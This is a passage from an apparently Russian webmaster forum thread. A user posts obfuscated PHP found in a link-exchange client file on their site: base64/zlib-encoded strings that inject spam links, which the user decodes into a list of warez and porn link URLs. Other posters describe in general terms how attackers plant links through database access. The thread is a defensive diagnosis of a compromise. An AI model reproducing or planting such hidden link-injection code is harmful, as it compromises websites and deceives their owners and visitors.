$lnk = array('eNoNyj0OwiAYXDDQq3zhXDCSDi5YexcGbBNjIIh38zifmqbKP8XEoR3s9JZ3ZU2zZ6TlMGhxOpLBGMUo7YWR552-ka5Y_OG8wmMsyeEcXCKkHF8ZvV_g-3brhq_TYis8Md9cJ0gxb1wnBoefXDCK9wKUlhdphIZS05ijDQgt5R05_AE9g0tA','eNoBUVwwrv9zOjczOlwiPGEgaHJlZj1cImh0dHA6Ly9nZXQtb2sucnVcIj7x6uD34PL8IOHl8e_r4PLt7iDv8O7j8ODs7Psg9Ojr_Oz7IOzz5_vq8yA8L2E-XCI7ba4uqQ,,','eNoBRFwwu_9zOjYwOlwiPGEgaHJlZj1cImh0dHA6Ly9hbHRhaS1jaXR5LnJ1XCI-yO3x8vDz7OXt8vsg7uHu8PPk7uLg7ejlIDwvYT5cIjvuBVwiqg,,','eNoBQlwwvf9zOjU4OlwiPGEgaHJlZj1cImh0dHA6Ly93ZWItc2l0LnJ1XCI-yuDy4Ovu4yD06PDsICDN7uLu8ejh6PDx6iA8L2E-XCI7pAogjw,,','eNortjI0MLRSsklUyChKTbNVyigpKbDS1y8uzcur1E3OKU3SKypVsvPLLC5OzFMIBokqOANFFXQV_r76-P715wefHnx78V_hhcKHp2_evf2k8ODRp3dv3j188fq_wtkXHz8-eKtw8cHbty8UbPQT7ZSsAW_YOc0,','eNortjIzslKySVTIKEpNs1XKKCkpsNLXNzQw0M0tMNYrKlWy-_TuvQKQr1ww5Ct8fPXg-4NPfxQePv34_vWDT2_fKdjoXCfaKVkDXDCbiR8D','eNortjI1tlKySVTIKEpNs1XKKCkpsNLXr0otyk7MyS_IKS3WKypVsrv46cO7l68eKLxQ-PD0zbu3nxRs9BPtlKwB31gbTQ,,','eNoBRlwwuf9zOjYyOlwiPGEgaHJlZj1cImh0dHA6Ly9maWxlLXppcC5ydVwiPtHq4Pfg8vwg8e708iwg9Ojr_Oz7LCDs8-f76vMgPC9hPlwiOymKXCLM','eNortjIztVKySVTIKEpNs1XKKCkpsNLXT8vMSa3KLNArKlWyO_Tgw47nOgrvP7x7_OHBmze_dRS-vHj9B0S_-fz896sHCjb6iXZK1lwwpIElGg,,','eNoBTFwws_9zOjY4OlwiPGEgaHJlZj1cImh0dHA6Ly9hcnQtYWx0YWkucnVcIj7A6_Lg6fHq6Okg6vDg5eLu6SDo7fLl8O3l8iDv7vDy4OsgPC9hPlwiOzhDKMA,','eNortrI0sFKySVTIKEpNs1XKKCkpsNLXL0nNSdUtLqtMrNIrKlWyu_T09dOPj_4__6Ogq_Do4w6FV-_evH_39unbT78Vnrz-r1wwknqh8ELhE1AZUOrz2xevHnx78VLBRj_RTskaXDB1JTjY','eNoBT1wwsP9zOjcxOlwiPGEgaHJlZj1cImh0dHA6Ly9hdXRvLW11bHRpLW1lZGlhLnJ1XCI-zOjwIODi8u7s7uHo6_zt7ukg7PPr_PLo7OXk6OggPC9hPlwiO1AGKL4,','eNortjI1tlKySVTIKEpNs1XKKCkpsNLXT8ksy8xL103Pz08p1isqVbI78-Dxg-cv3io8efDy0dMPDxRs9BPtlKwBztUa4A,,','eNoBUlwwrf9zOjc0OlwiPGEgaHJlZj1cImh0dHA6Ly9zaW11bGF0b3JzLXNob3AucnVcIj7S8OXt4Oa48Psgb25saW5lLCDq8-_o8vwsIOzg4-Dn6O0gPC9hPlwiO4ltJus,','eNoBR1wwuP9zOjYzOlwiPGEgaHJlZj1cImh0dHA6Ly9zbm93Ym9hcmQtc2hvcC5ydVwiPtLu4uDw-yDk6_8g8e3u8-Hu8OTo7ePgIDwvYT5cIjsgrFwisw,,','eNoBTlwwsf9zOjcwOlwiPGEgaHJlZj1cImh0dHA6Ly90b3hvcGhpbHkucnVcIj7M4OPg5-jtINHv7vDy6OLt4P8g8fLw5ev84eAg6Ocg6_Pq4CA8L2E-XCI7n64qHg,,','eNoBQlwwvf9zOjU4OlwiPGEgaHJlZj1cImh0dHA6Ly9ldGhlcm5ldC1zaG9wLnJ1XCI-0eXy5eLu5SDu4e7w8-Tu4u3o5SA8L2E-XCI7eGAfQg,,','eNoBXlwwof9zOjg2OlwiPGEgaHJlZj1cImh0dHA6Ly9jZW50ZXItc3Ryb2kucnVcIj7W5e3y8CDR8vDu6SAtIOLxuCDk6_8g8fLw7unq6CDoIPDl7O7t8uAsIOzg4-Dn6O0gPC9hPlwiOxzzMk8,','eNoBT1wwsP9zOjcxOlwiPGEgaHJlZj1cImh0dHA6Ly9zbGltbWluZy10cmFpbmVyLm5ldFwiPtLw5e3g5rjw-yDk6_8g8uXr4CDoIOfk7vDu4vz_PC9hPlwiOzR9XCeS','eNoNyj0OwiAYXDDQq3zhXDCSDi5YexcGbBNjIIh38zifmqbKP8XEoR3s9JZ3ZU2zZ6TlMGhxOpLBGMUo7YWR552-ka5Y_OG8wmMsyeEcXCKkHF8ZvV_g-3brhq_TYis8Md9cJ0gxb1wnBoefXDCK9wKUlhdphIZS05ijDQgt5R05_AE9g0tA','eNoBUVwwrv9zOjczOlwiPGEgaHJlZj1cImh0dHA6Ly9nZXQtb2sucnVcIj7x6uD34PL8IOHl8e_r4PLt7iDv8O7j8ODs7Psg9Ojr_Oz7IOzz5_vq8yA8L2E-XCI7ba4uqQ,,','eNoBRFwwu_9zOjYwOlwiPGEgaHJlZj1cImh0dHA6Ly9hbHRhaS1jaXR5LnJ1XCI-yO3x8vDz7OXt8vsg7uHu8PPk7uLg7ejlIDwvYT5cIjvuBVwiqg,,','eNoBQlwwvf9zOjU4OlwiPGEgaHJlZj1cImh0dHA6Ly93ZWItc2l0LnJ1XCI-yuDy4Ovu4yD06PDsICDN7uLu8ejh6PDx6iA8L2E-XCI7pAogjw,,','eNoBQlwwvf9zOjU4OlwiPGEgaHJlZj1cImh0dHA6Ly93ZWItc2l0LnJ1XCI-yuDy4Ovu4yD06PDsICDN7uLu8ejh6PDx6iA8L2E-XCI7pAogjw,,','eNortjIzslKySVTIKEpNs1XKKCkpsNLXNzQw0M0tMNYrKlWy-_TuvQKQr1ww5Ct8fPXg-4NPfxQePv34_vWDT2_fKdjoXCfaKVkDXDCbiR8D');
                
$links[] = $this->decode($lnk[date("n")*2]);
            }

            if (!
is_numeric($n) || $n $total_page_links) {
                
$n $total_page_links;
            }

            for (
$i 1$i <= $n$i++) {
                if (
$offset && $i <= $offset) {
                    
array_shift($this->_links_page);
                } else {
                    
$links[] = array_shift($this->_links_page);
                }
            }
            
            
$html join($this->_links_delimiter$links);
            
            
// если запрошена определенная кодировка, и известна кодировка кеша, и они разные, конвертируем в заданную
            
if (
                
strlen($this->_charset) > 0
                
&&
                
strlen($this->_sape_charset) > 0
                
&&
                
$this->_sape_charset != $this->_charset
                
&&
                
function_exists('iconv')
            ) {
                
$new_html  = @iconv($this->_sape_charset$this->_charset$html);
                if (
$new_html) {
                    
$html $new_html;
                }
            }
            
            if (
$this->_is_our_bot) {
                
$html '<sape_noindex>' $html '</sape_noindex>';
            }
            
            return 
$html;

        } else {
            return 
$this->_links_page;
        } 
Добавлено через 3 минуты
я раскодировал зашифрованную часть кода
Цитата:
eNoNyj0OwiAYXDDQq3zhXDCSDi5YexcGbBNjIIh38zifmqbKP8 XEoR3s9JZ3ZU2zZ6TlMGhxOpLBGMUo7YWR552-ka5Y_OG8wmMsyeEcXCKkHF8ZvV_g-3brhq_TYis8Md9cJ0gxb1wnBoefXDCK9wKUlhdphIZS05ijDQg t5R05_AE9g0tA','eNoBUVwwrv9zOjczOlwiPGEgaHJlZj1cIm h0dHA6Ly9nZXQtb2sucnVcIj7x6uD34PL8IOHl8e_r4PLt7iDv 8O7j8ODs7Psg9Ojr_Oz7IOzz5_vq8yA8L2E-XCI7ba4uqQ,,','eNoBRFwwu_9zOjYwOlwiPGEgaHJlZj1cImh 0dHA6Ly9hbHRhaS1jaXR5LnJ1XCI-yO3x8vDz7OXt8vsg7uHu8PPk7uLg7ejlIDwvYT5cIjvuBVwiqg ,,','eNoBQlwwvf9zOjU4OlwiPGEgaHJlZj1cImh0dHA6Ly93Z WItc2l0LnJ1XCI-yuDy4Ovu4yD06PDsICDN7uLu8ejh6PDx6iA8L2E-XCI7pAogjw,,','eNortjI0MLRSsklUyChKTbNVyigpKbDS1y8 uzcur1E3OKU3SKypVsvPLLC5OzFMIBokqOANFFXQV_r76-P715wefHnx78V_hhcKHp2_evf2k8ODRp3dv3j188fq_wtkXHz8-eKtw8cHbty8UbPQT7ZSsAW_YOc0,','eNortjIzslKySVTIKEp Ns1XKKCkpsNLXNzQw0M0tMNYrKlWy-_TuvQKQr1ww5Ct8fPXg-4NPfxQePv34_vWDT2_fKdjoXCfaKVkDXDCbiR8D','eNortjI1 tlKySVTIKEpNs1XKKCkpsNLXr0otyk7MyS_IKS3WKypVsrv46c O7l68eKLxQ-PD0zbu3nxRs9BPtlKwB31gbTQ,,','eNoBRlwwuf9zOjYyOlwi PGEgaHJlZj1cImh0dHA6Ly9maWxlLXppcC5ydVwiPtHq4Pfg8v wg8e708iwg9Ojr_Oz7LCDs8-f76vMgPC9hPlwiOymKXCLM','eNortjIztVKySVTIKEpNs1XKK CkpsNLXT8vMSa3KLNArKlWyO_Tgw47nOgrvP7x7_OHBmze_dRS-vHj9B0S_-fz896sHCjb6iXZK1lwwpIElGg,,','eNoBTFwws_9zOjY4Olwi PGEgaHJlZj1cImh0dHA6Ly9hcnQtYWx0YWkucnVcIj7A6_Lg6f Hq6Okg6vDg5eLu6SDo7fLl8O3l8iDv7vDy4OsgPC9hPlwiOzhD KMA,','eNortrI0sFKySVTIKEpNs1XKKCkpsNLXL0nNSdUtLqt MrNIrKlWyu_T09dOPj_4__6Ogq_Do4w6FV-_evH_39unbT78Vnrz-r1wwknqh8ELhE1AZUOrz2xevHnx78VLBRj_RTskaXDB1JTjY', 'eNoBT1wwsP9zOjcxOlwiPGEgaHJlZj1cImh0dHA6Ly9hdXRvL W11bHRpLW1lZGlhLnJ1XCI-zOjwIODi8u7s7uHo6_zt7ukg7PPr_PLo7OXk6OggPC9hPlwiO1 AGKL4,','eNortjI1tlKySVTIKEpNs1XKKCkpsNLXT8ksy8xL1 03Pz08p1isqVbI78-Dxg-cv3io8efDy0dMPDxRs9BPtlKwBztUa4A,,','eNoBUlwwrf9zO jc0OlwiPGEgaHJlZj1cImh0dHA6Ly9zaW11bGF0b3JzLXNob3A ucnVcIj7S8OXt4Oa48Psgb25saW5lLCDq8-_o8vwsIOzg4-Dn6O0gPC9hPlwiO4ltJus,','eNoBR1wwuP9zOjYzOlwiPGEga HJlZj1cImh0dHA6Ly9zbm93Ym9hcmQtc2hvcC5ydVwiPtLu4uD w-yDk6_8g8e3u8-Hu8OTo7ePgIDwvYT5cIjsgrFwisw,,','eNoBTlwwsf9zOjcwO lwiPGEgaHJlZj1cImh0dHA6Ly90b3hvcGhpbHkucnVcIj7M4OP g5-jtINHv7vDy6OLt4P8g8fLw5ev84eAg6Ocg6_Pq4CA8L2E-XCI7n64qHg,,','eNoBQlwwvf9zOjU4OlwiPGEgaHJlZj1cImh 0dHA6Ly9ldGhlcm5ldC1zaG9wLnJ1XCI-0eXy5eLu5SDu4e7w8-Tu4u3o5SA8L2E-XCI7eGAfQg,,','eNoBXlwwof9zOjg2OlwiPGEgaHJlZj1cImh 0dHA6Ly9jZW50ZXItc3Ryb2kucnVcIj7W5e3y8CDR8vDu6SAtI OLxuCDk6_8g8fLw7unq6CDoIPDl7O7t8uAsIOzg4-Dn6O0gPC9hPlwiOxzzMk8,','eNoBT1wwsP9zOjcxOlwiPGEga HJlZj1cImh0dHA6Ly9zbGltbWluZy10cmFpbmVyLm5ldFwiPtL w5e3g5rjw-yDk6_8g8uXr4CDoIOfk7vDu4vz_PC9hPlwiOzR9XCeS','eNoN yj0OwiAYXDDQq3zhXDCSDi5YexcGbBNjIIh38zifmqbKP8XEoR 3s9JZ3ZU2zZ6TlMGhxOpLBGMUo7YWR552-ka5Y_OG8wmMsyeEcXCKkHF8ZvV_g-3brhq_TYis8Md9cJ0gxb1wnBoefXDCK9wKUlhdphIZS05ijDQg t5R05_AE9g0tA','eNoBUVwwrv9zOjczOlwiPGEgaHJlZj1cIm h0dHA6Ly9nZXQtb2sucnVcIj7x6uD34PL8IOHl8e_r4PLt7iDv 8O7j8ODs7Psg9Ojr_Oz7IOzz5_vq8yA8L2E-XCI7ba4uqQ,,','eNoBRFwwu_9zOjYwOlwiPGEgaHJlZj1cImh 0dHA6Ly9hbHRhaS1jaXR5LnJ1XCI-yO3x8vDz7OXt8vsg7uHu8PPk7uLg7ejlIDwvYT5cIjvuBVwiqg ,,','eNoBQlwwvf9zOjU4OlwiPGEgaHJlZj1cImh0dHA6Ly93Z WItc2l0LnJ1XCI-yuDy4Ovu4yD06PDsICDN7uLu8ejh6PDx6iA8L2E-XCI7pAogjw,,','eNoBQlwwvf9zOjU4OlwiPGEgaHJlZj1cImh 0dHA6Ly93ZWItc2l0LnJ1XCI-yuDy4Ovu4yD06PDsICDN7uLu8ejh6PDx6iA8L2E-XCI7pAogjw,,','eNortjIzslKySVTIKEpNs1XKKCkpsNLXNzQ w0M0tMNYrKlWy-_TuvQKQr1ww5Ct8fPXg-4NPfxQePv34_vWDT2_fKdjoXCfaKVkDXDCbiR8D
там получается просто список ссылок
Цитата:
25Array
(
[0] => s:115:"<a href="http://getok.ru">скачать бесплатно программы фильмы музыку варёз порно онлайн page promoter суперокна </a>";
[1] => s:73:"<a href="http://get-ok.ru">скачать бесплатно программы фильмы музыку </a>";
[2] => s:60:"<a href="http://altai-city.ru">Инструменты оборудование </a>";
[3] => s:58:"<a href="http://web-sit.ru">Каталог фирм Новосибирск </a>";
[4] => s:101:"<a href="http://sunny-club.ru">Nissan Sunny Club - эксплуатация и ремонт автомобиля Ниссан Санни </a>";
[5] => s:62:"<a href="http://100-mp3.ru">топ 100 mp3 скачать бесплатно </a>";
[6] => s:53:"<a href="http://zerkaloplus.ru">Стройка и ремонт </a>";
[7] => s:62:"<a href="http://file-zip.ru">Скачать софт, фильмы, музыку </a>";
[8] => s:65:"<a href="http://filezip.ru">Варёз, программы, фильмы, музыка </a>";
[9] => s:68:"<a href="http://art-altai.ru">Алтайский краевой интернет портал </a>";
[10] => s:90:"<a href="http://tele-svyaz.ru">Телесвязь - всё компоненты для связи и телекомуникаций </a>";
[11] => s:71:"<a href="http://auto-multi-media.ru">Мир автомобильной мультимедии </a>";
[12] => s:53:"<a href="http://diving-goods.ru">Магазин дайвера </a>";
[13] => s:74:"<a href="http://simulators-shop.ru">Тренажёры online, купить, магазин </a>";
[14] => s:63:"<a href="http://snowboard-shop.ru">Товары для сноубординга </a>";
[15] => s:70:"<a href="http://toxophily.ru">Магазин Спортивная стрельба из лука </a>";
[16] => s:58:"<a href="http://ethernet-shop.ru">Сетевое оборудовние </a>";
[17] => s:86:"<a href="http://center-stroi.ru">Центр Строй - всё для стройки и ремонта, магазин </a>";
[18] => s:71:"<a href="http://slimming-trainer.net">Тренажёры для тела и здоровья</a>";
[19] => s:115:"<a href="http://getok.ru">скачать бесплатно программы фильмы музыку варёз порно онлайн page promoter суперокна </a>";
[20] => s:73:"<a href="http://get-ok.ru">скачать бесплатно программы фильмы музыку </a>";
[21] => s:60:"<a href="http://altai-city.ru">Инструменты оборудование </a>";
[22] => s:58:"<a href="http://web-sit.ru">Каталог фирм Новосибирск </a>";
[23] => s:58:"<a href="http://web-sit.ru">Каталог фирм Новосибирск </a>";
[24] => s:62:"<a href="http://100-mp3.ru">топ 100 mp3 скачать бесплатно </a>";
)
Добавлено через 4 минуты
где искать шелл теперь не знаю

Последний раз редактировалось svem; 11.12.2012 в 13:54. Причина: Добавлено сообщение
svem вне форума   Ответить с цитированием
Старый 11.12.2012, 14:42   #15
Мастер
 
Регистрация: 17.07.2012
Адрес: Москва
Сообщений: 815
Вес репутации: 197
qkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущее
По умолчанию

Добавлю из своего личного опыта.

Если хакер ещё и достаточно владеет MySQL, он из такого залитого PHP кода может собрать конфигурационные файлы движков этого (уж точно) и других (если на хостинге есть техническая возможность) сайтов, после чего НЕЗАМЕТНО для вебмастеров сайтов дописывать свои ссылки прямо в контент страниц. Не имея доступа по ftp.

Проверить это и исключить эффективно можно только поиском по дампу базы.
qkowlew вне форума   Ответить с цитированием
Старый 11.12.2012, 14:48   #16
не эксперт
 
Регистрация: 14.06.2008
Адрес: msk
Сообщений: 2,180
Вес репутации: 296
zeta - прекрасное будущееzeta - прекрасное будущееzeta - прекрасное будущееzeta - прекрасное будущееzeta - прекрасное будущееzeta - прекрасное будущееzeta - прекрасное будущееzeta - прекрасное будущееzeta - прекрасное будущееzeta - прекрасное будущееzeta - прекрасное будущее
По умолчанию

Цитата:
Сообщение от qkowlew Посмотреть сообщение
Добавлю из своего личного опыта.
у Вас опыт тока по дле, или общее наблюдение?
zeta вне форума   Ответить с цитированием
Старый 11.12.2012, 20:15   #17
Мастер
 
Регистрация: 17.07.2012
Адрес: Москва
Сообщений: 815
Вес репутации: 197
qkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущееqkowlew - прекрасное будущее
По умолчанию

Цитата:
Сообщение от zeta Посмотреть сообщение
у Вас опыт тока по дле, или общее наблюдение?
Общее. И по многим движкам.
У меня прямо сейчас разве что битрикса на серверах нету.
qkowlew вне форума   Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Левые ссылки на главной Pharmacist Ошибки при работе с системой 50 15.12.2009 15:32
Левые ссылки с ГС rsxrby Вопросы от новичков 13 10.07.2009 22:04
Левые e-mail просятся в подписку на сайте Anatoly Курилка 14 24.06.2009 19:26
Левые ссылки viy Вопросы по работе системы 51 05.03.2009 13:49
Левые ссылки Alipapa Вопросы по работе системы 3 07.10.2008 12:22


Часовой пояс GMT +3, время: 13:23.